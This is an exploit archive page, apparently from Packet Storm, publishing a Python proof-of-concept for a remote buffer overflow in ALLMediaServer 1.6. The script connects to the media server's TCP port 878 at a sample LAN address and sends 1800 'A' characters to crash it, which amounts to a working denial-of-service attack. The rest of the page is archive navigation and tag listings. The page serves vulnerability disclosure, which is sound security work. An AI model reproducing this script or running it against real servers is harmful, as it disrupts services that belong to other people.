ALLMediaServer 1.6 Remote Buffer Overflow

Authored by Yehia Elghaly

Posted Mar 26, 2022

ALLMediaServer version 1.6 suffers from a remote buffer overflow vulnerability.

tags | exploit, remote, overflow
SHA-256 | 4084eb5abda1f08d8c0f81af318bc5e5994b8c1afcb57575e2b6590a4bd525bd **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: ALLMediaServer 1.6 Remote Buffer Overflow
# Discovered by: Yehia Elghaly
# Discovered Date: 2022-03-25
# Vendor Homepage: https://www.allmediaserver.org/
# Software Link : https://www.allmediaserver.org/LiveUpdate/ALLMediaServer.exe
# Tested Version: 1.6
# Vulnerability Type:  Buffer Overflow (DoS) Remote
# Tested on OS: Windows 7 x86 - Windows 10 x64

# Description: ALLMediaServer 1.6 Remote Buffer Overflow

# Steps to reproduce:
# 1. - ALLMediaServer 1.6 listening on port 888 or can be changed to 878
# 2. - Run the Script from remote TCP/IP
# 3. - Mediaserver.exe Crashed


import socket

print("######################################################")
print("# ALLMediaServer 1.6 Remote (BUffer Overflow)        #")
print("#             --------------------------           #")
print("#               BY  Yehia Elghaly                    #")
print("######################################################")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect(('192.168.1.99', 878))
  evilbuffer = "A" *1800
  s.sendall(evilbuffer)
  data = s.recv(1024)
  s.close()
  print "Media is Out"
except socket.error, msg:
  print ""
  print "Couldnt connect with Mediaserver - Crashed"
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed